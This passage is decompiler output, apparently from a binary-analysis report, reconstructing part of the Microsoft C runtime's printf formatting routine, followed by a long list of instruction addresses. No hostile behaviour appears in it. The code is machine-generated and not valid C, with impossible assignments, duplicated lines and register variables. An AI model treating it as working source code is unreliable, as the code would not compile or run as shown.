																			__ecx =  *(__ebp - 0x284);
																			__edx =  *__ecx;
																			 *(__ebp - 0x24) =  *__ecx;
																		} else {
																			__edx =  *(__ebp - 0x284);
																			__eax =  *(__edx + 4);
																			 *(__ebp - 4) =  *(__edx + 4);
																			__ecx =  *(__ebp - 0x284);
																			__eax =  *__ecx;
																			asm("cdq");
																			 *__ecx - __edx =  *__ecx - __edx >> 1;
																			 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																			 *(__ebp - 0xc) = 1;
																		}
																		goto L78;
																	}
																	goto L74;
																case 5:
																	L115:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	__eax = __ebp - 0x248;
																	 *(__ebp - 4) = __ebp - 0x248;
																	 *(__ebp - 0x44) = 0x200;
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) >= 0) {
																		L117:
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) != 0) {
																			L120:
																			__eflags =  *(__ebp - 0x30) - 0x200;
																			if( *(__ebp - 0x30) > 0x200) {
																				 *(__ebp - 0x30) = 0x200;
																			}
																			L122:
																			__eflags =  *(__ebp - 0x30) - 0xa3;
																			if( *(__ebp - 0x30) > 0xa3) {
																				 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																				 *(__ebp - 0x20) = L0041BA60(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																				__eflags =  *(__ebp - 0x20);
																				if( *(__ebp - 0x20) == 0) {
																					 *(__ebp - 0x30) = 0xa3;
																				} else {
																					__eax =  *(__ebp - 0x20);
																					 *(__ebp - 4) =  *(__ebp - 0x20);
																					 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																					 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																				}
																			}
																			 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																			 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																			__eax =  *(__ebp + 0x14);
																			_t274 = __eax - 8; // 0xe852f855
																			__ecx =  *_t274;
																			_t275 = __eax - 4; // 0xbc20
																			__edx =  *_t275;
																			 *(__ebp - 0x2a0) =  *_t274;
																			 *(__ebp - 0x29c) =  *_t275;
																			__ecx = __ebp - 0x40;
																			_push(E0041AFF0(__ebp - 0x40));
																			__eax =  *(__ebp - 0x2c);
																			_push( *(__ebp - 0x2c));
																			__ecx =  *(__ebp - 0x30);
																			_push( *(__ebp - 0x30));
																			__edx =  *((char*)(__ebp - 0x251));
																			_push( *((char*)(__ebp - 0x251)));
																			__eax =  *(__ebp - 0x44);
																			_push( *(__ebp - 0x44));
																			__ecx =  *(__ebp - 4);
																			_push( *(__ebp - 4));
																			__edx = __ebp - 0x2a0;
																			_push(__ebp - 0x2a0);
																			__eax =  *0x440374; // 0xc0d8c8fb
																			__eax =  *__eax();
																			__esp = __esp + 0x1c;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__eflags =  *(__ebp - 0x30);
																				if( *(__ebp - 0x30) == 0) {
																					__ecx = __ebp - 0x40;
																					_push(E0041AFF0(__ebp - 0x40));
																					__edx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__eax =  *0x440380; // 0xc0d7763b
																					__eax =  *__eax();
																					__esp = __esp + 8;
																				}
																			}
																			__ecx =  *((char*)(__ebp - 0x251));
																			__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
																			if( *((char*)(__ebp - 0x251)) == 0x67) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																				__eflags =  *(__ebp - 0x10) & 0x00000080;
																				if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																					__ecx = __ebp - 0x40;
																					_push(E0041AFF0(__ebp - 0x40));
																					__eax =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__ecx =  *0x44037c; // 0xc0d772bb
																					E00424860(__ecx) =  *__eax();
																					__esp = __esp + 8;
																				}
																			}
																			__edx =  *(__ebp - 4);
																			__eax =  *( *(__ebp - 4));
																			__eflags =  *( *(__ebp - 4)) - 0x2d;
																			if( *( *(__ebp - 4)) == 0x2d) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																				__edx =  *(__ebp - 4);
																				__edx =  *(__ebp - 4) + 1;
																				__eflags = __edx;
																				 *(__ebp - 4) = __edx;
																			}
																			__eax =  *(__ebp - 4);
																			 *(__ebp - 0x24) = E0041DFC0( *(__ebp - 4));
																			do {
																				L181:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L207;
																				}
																				goto L182;
																			} while ( *(__ebp - 0x30c) > 0x37);
																			goto L63;
																		}
																		L118:
																		__ecx =  *((char*)(__ebp - 0x251));
																		__eflags = __ecx - 0x67;
																		if(__ecx != 0x67) {
																			goto L120;
																		}
																		L119:
																		 *(__ebp - 0x30) = 1;
																		goto L122;
																	}
																	L116:
																	 *(__ebp - 0x30) = 6;
																	goto L122;
																case 6:
																	L66:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																	__eflags =  *(__ebp - 0x10) & 0x00000810;
																	if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																		L70:
																		__ebp + 0x14 = E004285E0(__ebp + 0x14);
																		 *(__ebp - 0x280) = __ax;
																		__cl =  *(__ebp - 0x280);
																		 *(__ebp - 0x248) = __cl;
																		 *(__ebp - 0x24) = 1;
																		L71:
																		__edx = __ebp - 0x248;
																		 *(__ebp - 4) = __ebp - 0x248;
																		while(1) {
																			L181:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L207;
																			}
																			goto L182;
																		}
																	}
																	L67:
																	 *(__ebp - 0x27c) = 0;
																	__edx = __ebp + 0x14;
																	__eax = E00428620(__ebp + 0x14);
																	 *(__ebp - 0x258) = __ax;
																	__eax =  *(__ebp - 0x258) & 0x0000ffff;
																	__ecx = __ebp - 0x248;
																	__edx = __ebp - 0x24;
																	 *(__ebp - 0x27c) = E004344A0(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																	__eflags =  *(__ebp - 0x27c);
																	if( *(__ebp - 0x27c) != 0) {
																		 *(__ebp - 0x28) = 1;
																	}
																	L69:
																	goto L71;
																case 7:
																	L135:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 8) = 0xa;
																	L144:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																	__eflags =  *(__ebp - 0x10) & 0x00008000;
																	if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																		__eflags =  *(__ebp - 0x10) & 0x00001000;
																		if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																			__eflags =  *(__ebp - 0x10) & 0x00000020;
																			if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																				__eflags =  *(__ebp - 0x10) & 0x00000040;
																				if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																					__ecx = __ebp + 0x14;
																					__eax = E004285E0(__ebp + 0x14);
																					__edx = 0;
																					__eflags = 0;
																					 *(__ebp - 0x2b0) = __eax;
																					 *(__ebp - 0x2ac) = 0;
																				} else {
																					__eax = __ebp + 0x14;
																					__eax = E004285E0(__ebp + 0x14);
																					asm("cdq");
																					 *(__ebp - 0x2b0) = __eax;
																					 *(__ebp - 0x2ac) = __edx;
																				}
																			} else {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																				__eflags =  *(__ebp - 0x10) & 0x00000040;
																				if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																					__ecx = __ebp + 0x14;
																					E004285E0(__ebp + 0x14) = __ax & 0x0000ffff;
																					asm("cdq");
																					 *(__ebp - 0x2b0) = __ax & 0x0000ffff;
																					 *(__ebp - 0x2ac) = __edx;
																				} else {
																					__eax = __ebp + 0x14;
																					__eax = E004285E0(__ebp + 0x14);
																					__ax = __eax;
																					asm("cdq");
																					 *(__ebp - 0x2b0) = __eax;
																					 *(__ebp - 0x2ac) = __edx;
																				}
																			}
																		} else {
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x2b0) = E00428600(__ebp + 0x14);
																			 *(__ebp - 0x2ac) = __edx;
																		}
																	} else {
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 0x2b0) = E00428600(__ebp + 0x14);
																		 *(__ebp - 0x2ac) = __edx;
																	}
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																	__eflags =  *(__ebp - 0x10) & 0x00000040;
																	if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																		goto L161;
																	}
																case 8:
																	L100:
																	__ecx = __ebp + 0x14;
																	 *(__ebp - 0x294) = E004285E0(__ebp + 0x14);
																	__eax = E00434180();
																	__eflags = __eax;
																	if(__eax != 0) {
																		L110:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																		__eflags =  *(__ebp - 0x10) & 0x00000020;
																		if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																			__edx =  *(__ebp - 0x294);
																			__eax =  *(__ebp - 0x24c);
																			 *( *(__ebp - 0x294)) =  *(__ebp - 0x24c);
																		} else {
																			__eax =  *(__ebp - 0x294);
																			 *( *(__ebp - 0x294)) =  *(__ebp - 0x24c);
																		}
																		 *(__ebp - 0x28) = 1;
																		while(1) {
																			L181:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L207;
																			}
																			goto L182;
																		}
																	}
																	L101:
																	__edx = 0;
																	__eflags = 0;
																	if(0 == 0) {
																		 *(__ebp - 0x314) = 0;
																	} else {
																		 *(__ebp - 0x314) = 1;
																	}
																	__eax =  *(__ebp - 0x314);
																	 *(__ebp - 0x298) =  *(__ebp - 0x314);
																	__eflags =  *(__ebp - 0x298);
																	if( *(__ebp - 0x298) == 0) {
																		_push(L"(\"\'n\' format specifier disabled\", 0)");
																		_push(0);
																		_push(0x695);
																		_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																		_push(2);
																		__eax = L0041E520();
																		__esp = __esp + 0x14;
																		__eflags = __eax - 1;
																		if(__eax == 1) {
																			asm("int3");
																		}
																	}
																	__eflags =  *(__ebp - 0x298);
																	if( *(__ebp - 0x298) != 0) {
																		L109:
																		while(1) {
																			L181:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L207;
																			}
																			goto L182;
																		}
																	} else {
																		L108:
																		 *((intOrPtr*)(L00423010(__ecx))) = 0x16;
																		__eax = E00422DA0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																		 *(__ebp - 0x2e8) = 0xffffffff;
																		__ecx = __ebp - 0x40;
																		__eax = E0041AFC0(__ecx);
																		__eax =  *(__ebp - 0x2e8);
																		L211:
																		return E0042BF30(_t478, _t497,  *(_t524 - 0x48) ^ _t524, _t513, _t522, _t523);
																	}
																case 9:
																	L142:
																	 *(__ebp - 8) = 8;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																	__eflags =  *(__ebp - 0x10) & 0x00000080;
																	if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																		__edx =  *(__ebp - 0x10);
																		__edx =  *(__ebp - 0x10) | 0x00000200;
																		__eflags = __edx;
																		 *(__ebp - 0x10) = __edx;
																	}
																	while(1) {
																		L144:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																		__eflags =  *(__ebp - 0x10) & 0x00008000;
																		if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																			__eflags =  *(__ebp - 0x10) & 0x00001000;
																			if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				__eflags =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						__eax = E004285E0(__ebp + 0x14);
																						__edx = 0;
																						__eflags = 0;
																						 *(__ebp - 0x2b0) = __eax;
																						 *(__ebp - 0x2ac) = 0;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E004285E0(__ebp + 0x14);
																						asm("cdq");
																						 *(__ebp - 0x2b0) = __eax;
																						 *(__ebp - 0x2ac) = __edx;
																					}
																				} else {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						E004285E0(__ebp + 0x14) = __ax & 0x0000ffff;
																						asm("cdq");
																						 *(__ebp - 0x2b0) = __ax & 0x0000ffff;
																						 *(__ebp - 0x2ac) = __edx;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E004285E0(__ebp + 0x14);
																						__ax = __eax;
																						asm("cdq");
																						 *(__ebp - 0x2b0) = __eax;
																						 *(__ebp - 0x2ac) = __edx;
																					}
																				}
																			} else {
																				__eax = __ebp + 0x14;
																				 *(__ebp - 0x2b0) = E00428600(__ebp + 0x14);
																				 *(__ebp - 0x2ac) = __edx;
																			}
																		} else {
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x2b0) = E00428600(__ebp + 0x14);
																			 *(__ebp - 0x2ac) = __edx;
																		}
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																		__eflags =  *(__ebp - 0x10) & 0x00000040;
																		if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																			goto L161;
																		}
																		goto L157;
																	}
																case 0xa:
																	L137:
																	 *(__ebp - 0x30) = 8;
																	goto L138;
																case 0xb:
																	L81:
																	__eflags =  *(__ebp - 0x30) - 0xffffffff;
																	if( *(__ebp - 0x30) != 0xffffffff) {
																		__edx =  *(__ebp - 0x30);
																		 *(__ebp - 0x310) =  *(__ebp - 0x30);
																	} else {
																		 *(__ebp - 0x310) = 0x7fffffff;
																	}
																	__eax =  *(__ebp - 0x310);
																	 *(__ebp - 0x28c) =  *(__ebp - 0x310);
																	__ecx = __ebp + 0x14;
																	 *(__ebp - 4) = E004285E0(__ebp + 0x14);
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																	__eflags =  *(__ebp - 0x10) & 0x00000810;
																	if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																		L92:
																		__eflags =  *(__ebp - 4);
																		if( *(__ebp - 4) == 0) {
																			__edx =  *0x440f80; // 0x404478
																			 *(__ebp - 4) = __edx;
																		}
																		__eax =  *(__ebp - 4);
																		 *(__ebp - 0x288) =  *(__ebp - 4);
																		while(1) {
																			L95:
																			__ecx =  *(__ebp - 0x28c);
																			 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																			 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																			__eflags = __ecx;
																			if(__ecx == 0) {
																				break;
																			}
																			L96:
																			__eax =  *(__ebp - 0x288);
																			__ecx =  *( *(__ebp - 0x288));
																			__eflags = __ecx;
																			if(__ecx == 0) {
																				break;
																			}
																			L97:
																			 *(__ebp - 0x288) =  *(__ebp - 0x288) + 1;
																			 *(__ebp - 0x288) =  *(__ebp - 0x288) + 1;
																		}
																		L98:
																		__eax =  *(__ebp - 0x288);
																		__eax =  *(__ebp - 0x288) -  *(__ebp - 4);
																		__eflags = __eax;
																		 *(__ebp - 0x24) = __eax;
																		goto L99;
																	} else {
																		L85:
																		__eflags =  *(__ebp - 4);
																		if( *(__ebp - 4) == 0) {
																			__eax =  *0x440f84; // 0x404468
																			 *(__ebp - 4) = __eax;
																		}
																		 *(__ebp - 0xc) = 1;
																		__ecx =  *(__ebp - 4);
																		 *(__ebp - 0x290) =  *(__ebp - 4);
																		while(1) {
																			L88:
																			__edx =  *(__ebp - 0x28c);
																			 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																			 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																			__eflags =  *(__ebp - 0x28c);
																			if( *(__ebp - 0x28c) == 0) {
																				break;
																			}
																			L89:
																			__ecx =  *(__ebp - 0x290);
																			__edx =  *( *(__ebp - 0x290)) & 0x0000ffff;
																			__eflags =  *( *(__ebp - 0x290)) & 0x0000ffff;
																			if(( *( *(__ebp - 0x290)) & 0x0000ffff) == 0) {
																				break;
																			}
																			L90:
																			 *(__ebp - 0x290) =  *(__ebp - 0x290) + 2;
																			 *(__ebp - 0x290) =  *(__ebp - 0x290) + 2;
																		}
																		L91:
																		 *(__ebp - 0x290) =  *(__ebp - 0x290) -  *(__ebp - 4);
																		__ecx =  *(__ebp - 0x290) -  *(__ebp - 4) >> 1;
																		 *(__ebp - 0x24) = __ecx;
																		L99:
																		while(1) {
																			L181:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L207;
																			}
																			goto L182;
																		}
																	}
																case 0xc:
																	L136:
																	 *(__ebp - 8) = 0xa;
																	while(1) {
																		L144:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																		__eflags =  *(__ebp - 0x10) & 0x00008000;
																		if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																			__eflags =  *(__ebp - 0x10) & 0x00001000;
																			if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				__eflags =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						__eax = E004285E0(__ebp + 0x14);
																						__edx = 0;
																						__eflags = 0;
																						 *(__ebp - 0x2b0) = __eax;
																						 *(__ebp - 0x2ac) = 0;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E004285E0(__ebp + 0x14);
																						asm("cdq");
																						 *(__ebp - 0x2b0) = __eax;
																						 *(__ebp - 0x2ac) = __edx;
																					}
																				} else {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						E004285E0(__ebp + 0x14) = __ax & 0x0000ffff;
																						asm("cdq");
																						 *(__ebp - 0x2b0) = __ax & 0x0000ffff;
																						 *(__ebp - 0x2ac) = __edx;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E004285E0(__ebp + 0x14);
																						__ax = __eax;
																						asm("cdq");
																						 *(__ebp - 0x2b0) = __eax;
																						 *(__ebp - 0x2ac) = __edx;
																					}
																				}
																			} else {
																				__eax = __ebp + 0x14;
																				 *(__ebp - 0x2b0) = E00428600(__ebp + 0x14);
																				 *(__ebp - 0x2ac) = __edx;
																			}
																		} else {
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x2b0) = E00428600(__ebp + 0x14);
																			 *(__ebp - 0x2ac) = __edx;
																		}
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																		__eflags =  *(__ebp - 0x10) & 0x00000040;
																		if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																			goto L161;
																		}
																		goto L157;
																	}
																case 0xd:
																	goto L0;
																case 0xe:
																	while(1) {
																		L181:
																		__eflags =  *(__ebp - 0x28);
																		if( *(__ebp - 0x28) != 0) {
																			goto L207;
																		}
																		goto L182;
																	}
															}
														case 8:
															L21:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
															goto L24;
														case 9:
															L22:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
															goto L24;
														case 0xa:
															L20:
															__ecx =  *(__ebp - 0x10);
															__ecx =  *(__ebp - 0x10) | 0x00000001;
															 *(__ebp - 0x10) = __ecx;
															goto L24;
														case 0xb:
															L19:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
															goto L24;
														case 0xc:
															L23:
															__ecx =  *(__ebp - 0x10);
															__ecx =  *(__ebp - 0x10) | 0x00000008;
															__eflags = __ecx;
															 *(__ebp - 0x10) = __ecx;
															goto L24;
														case 0xd:
															L24:
															goto L209;
													}
												}
												L210:
												 *(_t524 - 0x2ec) =  *(_t524 - 0x24c);
												E0041AFC0(_t524 - 0x40);
												_t478 =  *(_t524 - 0x2ec);
												goto L211;
											}
										}
										L178:
										__eflags =  *(__ebp - 0x24);
										if( *(__ebp - 0x24) == 0) {
											L180:
											 *(__ebp - 4) =  *(__ebp - 4) - 1;
											 *(__ebp - 4) =  *(__ebp - 4) - 1;
											__eax =  *(__ebp - 4);
											 *( *(__ebp - 4)) = 0x30;
											__ecx =  *(__ebp - 0x24);
											__ecx =  *(__ebp - 0x24) + 1;
											__eflags = __ecx;
											 *(__ebp - 0x24) = __ecx;
											goto L181;
										}
										L179:
										__eax =  *(__ebp - 4);
										__ecx =  *( *(__ebp - 4));
										__eflags = __ecx - 0x30;
										if(__ecx == 0x30) {
											goto L181;
										}
										goto L180;
									}
									L174:
									__eax =  *(__ebp - 8);
									asm("cdq");
									__ecx =  *(__ebp - 0x2b4);
									__edx =  *(__ebp - 0x2b8);
									__eax = E00430A00( *(__ebp - 0x2b8),  *(__ebp - 0x2b4),  *(__ebp - 8),  *(__ebp - 0x2b8));
									 *(__ebp - 0x2a4) = __eax;
									__eax =  *(__ebp - 8);
									asm("cdq");
									__eax =  *(__ebp - 0x2b4);
									__ecx =  *(__ebp - 0x2b8);
									 *(__ebp - 0x2b8) = E00430A80( *(__ebp - 0x2b8),  *(__ebp - 0x2b4),  *(__ebp - 8), __edx);
									 *(__ebp - 0x2b4) = __edx;
									__eflags =  *(__ebp - 0x2a4) - 0x39;
									if( *(__ebp - 0x2a4) > 0x39) {
										__edx =  *(__ebp - 0x2a4);
										__edx =  *(__ebp - 0x2a4) +  *(__ebp - 0x260);
										__eflags = __edx;
										 *(__ebp - 0x2a4) = __edx;
									}
									__eax =  *(__ebp - 4);
									__cl =  *(__ebp - 0x2a4);
									 *( *(__ebp - 4)) = __cl;
									 *(__ebp - 4) =  *(__ebp - 4) - 1;
									 *(__ebp - 4) =  *(__ebp - 4) - 1;
									L172:
									__ecx =  *(__ebp - 0x30);
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) > 0) {
										goto L174;
									}
									goto L173;
								}
							}
							L159:
							__eflags =  *(__ebp - 0x2b0);
							if( *(__ebp - 0x2b0) >= 0) {
								goto L161;
							}
							goto L160;
							L161:
							__ecx =  *(__ebp - 0x2b0);
							 *(__ebp - 0x2b8) =  *(__ebp - 0x2b0);
							__edx =  *(__ebp - 0x2ac);
							 *(__ebp - 0x2b4) =  *(__ebp - 0x2ac);
							goto L162;
						}
					}
				}
			}

0x00427ee8
0x00427ee8
0x00427ee8
0x00427ee8
0x00427ef2
0x00427ef2
0x00427ef2
0x00427efc
0x00427efc
0x00427f02
0x00427f04
0x00427f0e
0x00427f0e
0x00427f11
0x00427f14
0x00427f14
0x00427f3b
0x00427f3b
0x00427f3e
0x00427f3e
0x00427f43
0x00427f65
0x00427f65
0x00427f6b
0x00427f8d
0x00427f8d
0x00427f90
0x00427fd7
0x00427fd7
0x00427fda
0x00427ff7
0x00427ffb
0x00428003
0x00428003
0x00428005
0x0042800b
0x00427fdc
0x00427fdc
0x00427fe0
0x00427fe8
0x00427fe9
0x00427fef
0x00427fef
0x00427f92
0x00427f95
0x00427f95
0x00427f98
0x00427fb6
0x00427fc2
0x00427fc5
0x00427fc6
0x00427fcc
0x00427f9a
0x00427f9a
0x00427f9e
0x00427fa6
0x00427fa7
0x00427fa8
0x00427fae
0x00427fae
0x00427fd2
0x00427f6d
0x00427f6d
0x00427f79
0x00427f7f
0x00427f7f
0x00427f45
0x00427f45
0x00427f51
0x00427f57
0x00427f57
0x00428014
0x00428014
0x00428017
0x00000000
0x00000000
0x00428019
0x00428019
0x00428020
0x00000000
0x00000000
0x00428022
0x00428022
0x0042802d
0x00428033
0x00428035
0x0042803b
0x0042803e
0x00428040
0x00428046
0x0042804f
0x00428054
0x00428071
0x00428074
0x00428074
0x00428079
0x0042807e
0x0042807e
0x00428084
0x00428086
0x0042808c
0x00428092
0x00428092
0x0042809b
0x0042809b
0x00428084
0x004280a1
0x004280a5
0x004280b3
0x004280b6
0x004280b9
0x004280c0
0x004280c2
0x004280c2
0x004280a7
0x004280a7
0x004280a7
0x004280cf
0x004280cf
0x004280d5
0x004280d7
0x004280d7
0x004280de
0x004280e1
0x004280e4
0x004280e4
0x004280e4
0x004280ea
0x004280ed
0x004280f0
0x004280f2
0x00000000
0x00000000
0x004280f4
0x004280fa
0x004280fa
0x00428100
0x0042817d
0x00428180
0x00428183
0x00428186
0x00428189
0x0042818c
0x00428192
0x00428192
0x00428198
0x004281c3
0x004281c3
0x004281c3
0x004281c7
0x00000000
0x00000000
0x004281cd
0x004281d0
0x004281d0
0x004281d3
0x004281d8
0x004281d8
0x004281dd
0x004281ef
0x004281ef
0x004281f2
0x00428204
0x00428204
0x00428207
0x00428209
0x0042820d
0x0042820d
0x004281f4
0x004281f4
0x004281f8
0x004281f8
0x004281df
0x004281df
0x004281e3
0x004281e3
0x004281dd
0x00428217
0x0042821a
0x0042821d
0x00428226
0x00428226
0x00428229
0x0042822b
0x00428232
0x00428236
0x0042823f
0x00428244
0x00428247
0x0042824e
0x00428252
0x00428256
0x00428262
0x00428265
0x00428265
0x00428268
0x0042826d
0x0042826d
0x00428270
0x00428272
0x00428279
0x0042827d
0x00428286
0x0042828b
0x00428270
0x0042828e
0x00428292
0x00428366
0x00428366
0x0042836d
0x00428371
0x00428375
0x00428379
0x00000000
0x00428298
0x00428298
0x00428298
0x0042829c
0x00000000
0x00000000
0x004282a2
0x004282a2
0x004282ac
0x004282af
0x004282b5
0x004282b8
0x004282be
0x004282be
0x004282be
0x004282ca
0x004282cd
0x004282d3
0x004282d5
0x00000000
0x00000000
0x004282db
0x004282db
0x004282e4
0x004282eb
0x004282f5
0x004282fc
0x0042830b
0x00428317
0x0042831a
0x00428320
0x00428327
0x00428332
0x00428332
0x00000000
0x00428332
0x00428329
0x00428329
0x00428330
0x0042833e
0x0042833e
0x00428345
0x00428349
0x00428357
0x00000000
0x0042835c
0x00000000
0x00428330
0x00428364
0x00428381
0x00428381
0x00428388
0x0042838d
0x0042838d
0x00428390
0x00428392
0x00428399
0x0042839d
0x004283a6
0x004283ab
0x00428390
0x00428388
0x004283ae
0x004283ae
0x004283b2
0x004283ba
0x004283c2
0x004283c2
0x004283c9
0x004283c9
0x0042754f
0x00427562
0x00427567
0x00000000
0x0042757a
0x00427584
0x004275ab
0x00427592
0x004275a3
0x004275a3
0x00427584
0x004275b5
0x004275bb
0x004275cd
0x004275d8
0x004275e4
0x004275f1
0x00000000
0x00000000
0x004275f7
0x004275fd
0x00000000
0x00427604
0x00427604
0x0042761c
0x00427621
0x00427626
0x004276e0
0x004276f3
0x004276f8
0x00000000
0x0042762c
0x0042763f
0x00427644
0x0042764a
0x0042764c
0x00427655
0x00427658
0x00427664
0x00427668
0x0042766e
0x00427670
0x00427675
0x00427677
0x0042767c
0x00427681
0x00427683
0x00427688
0x0042768e
0x00427690
0x00427690
0x0042768e
0x00427691
0x00427698
0x00000000
0x0042769a
0x0042769f
0x004276bb
0x004276c3
0x004276d0
0x004276d5
0x00000000
0x004276d5
0x00427698
0x00000000
0x00427700
0x00427700
0x00427707
0x0042770a
0x0042770d
0x00427710
0x00427713
0x00427716
0x00427719
0x00427720
0x00427727
0x00000000
0x00000000
0x00427733
0x00427733
0x0042773a
0x00427746
0x00427749
0x0042774f
0x00427756
0x00000000
0x00000000
0x00427758
0x00427758
0x0042775e
0x0042775e
0x00427765
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004277a8
0x004277a8
0x004277af
0x004277b2
0x004277dc
0x004277df
0x004277df
0x004277e2
0x004277e9
0x004277e9
0x004277ed
